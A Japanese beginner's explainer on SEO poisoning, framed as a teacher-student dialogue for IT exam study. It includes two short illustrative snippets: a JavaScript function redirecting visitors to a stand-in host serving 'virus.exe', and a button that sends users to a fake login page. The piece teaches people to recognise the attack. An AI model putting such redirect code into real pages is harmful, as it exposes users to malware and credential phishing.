先生と生徒の会話形式で理解しよう

生徒

「SEO（エスイーオー）って、検索で上に出す技術だというけど、それを悪用することもあるって本当ですか？」

先生

「ええ、SEOを悪い目的で使うことをSEOポイズニングと呼びます。検索結果を毒（ポイズン）のように汚すからそんな名前がついているんですよ。」

生徒

「どういう仕組みでやるんですか？悪意のあるサイトに誘導されたりするのですか？」

先生

「はい。では、SEOポイズニングの意味や特長、被害例や対策方法まで、初心者にも分かりやすく説明していきますね！」

基本情報技術者試験をこれから学習する人や、独学で確実に合格レベルまで到達したい人におすすめの定番対策書です。

いちばんやさしい基本情報技術者を見る

※ Amazonアソシエイト広告リンク

1. SEOポイズニングとは？意味と読み方

SEOポイズニングは、英語の「Search Engine Optimization Poisoning」を略した言葉で、日本語では「検索エンジン汚染」とも訳されます。読み方はそのまま「エスイーオー・ポイズニング」です。

私たちが普段使っているGoogleなどの検索エンジンで、特定のキーワードを検索した際、上位に表示されるサイトが必ずしも安全とは限りません。攻撃者はSEO（検索エンジン最適化）の技術を悪用し、悪意のあるページをあえて上位にランクインさせます。そこにアクセスしたユーザーを、ウイルス（マルウェア）感染や偽のショッピングサイト、フィッシング詐欺へと引きずり込むのがこの攻撃の正体です。

プログラミング視点で見る「毒入れ」の仕組み（例）

例えば、初心者が「Python プログラミング入門」と検索したとき、攻撃者は以下のような仕組みを仕込んだ偽の解説サイトを用意することがあります。

// 攻撃者が仕込む偽のダウンロードコード（JavaScript）のイメージ
function downloadStudyMaterial() {
    // 本物の教材ではなく、悪意のあるプログラムをダウンロードさせる
    window.location.href = "http://bad-poison-site.com/virus.exe";
    console.log("教材をダウンロードしました（※実際はウイルス）");
}

このように、一見すると便利な学習サイトやツール配布サイトを装い、裏側で不正な動作を実行させるのがSEOポイズニングの典型的な手口です。プログラムの知識がない利用者ほど、検索上位にある信頼感を鵜呑みにしてしまいやすいため、非常に巧妙で危険な攻撃と言えます。

2. なぜSEOポイズニングが危険なのか？

私たちが検索エンジンを利用する際、上位に表示されるサイトに対して無意識に「Googleが認めた安全なサイトだ」という信頼を寄せてしまいがちです。SEOポイズニングが極めて危険な理由は、まさにこのユーザーの心理的な隙を巧みに突く点にあります。

たとえサイトの見た目がきれいで、専門的な内容が書かれているように見えても、裏側では閲覧しただけでデバイスを操作されるスクリプトが動いている可能性があります。特に近年では、トレンドワードや時事ニュースに便乗して数時間だけ上位に現れる「使い捨ての毒サイト」も増えており、被害を未然に防ぐのが難しくなっています。

プログラミング未経験者でもわかる「罠」の仕組み

例えば、役立つ情報をコピーしようと「右クリック」や「ボタン」を押した瞬間に、知らないうちに別のサイトへ飛ばされる仕組みを考えてみましょう。

<p>ここをクリックして詳細をチェック！</p>
<button onclick="goToDangerousSite()">詳細を見る</button>

<script>
function goToDangerousSite() {
    // ユーザーが気づかないうちに、一瞬で偽のログイン画面へ移動させる
    window.location.href = "https://fake-login-security.net/";
}
</script>

このように、プログラム自体は非常にシンプルですが、これを「公式ヘルプ」や「無料配布」といった魅力的な言葉と組み合わせることで、多くの人が騙されてしまいます。一度アクセスしてしまうと、個人情報やクレジットカード番号を盗み取られたり、勝手に有料サービスに登録されたりする深刻な被害につながるのです。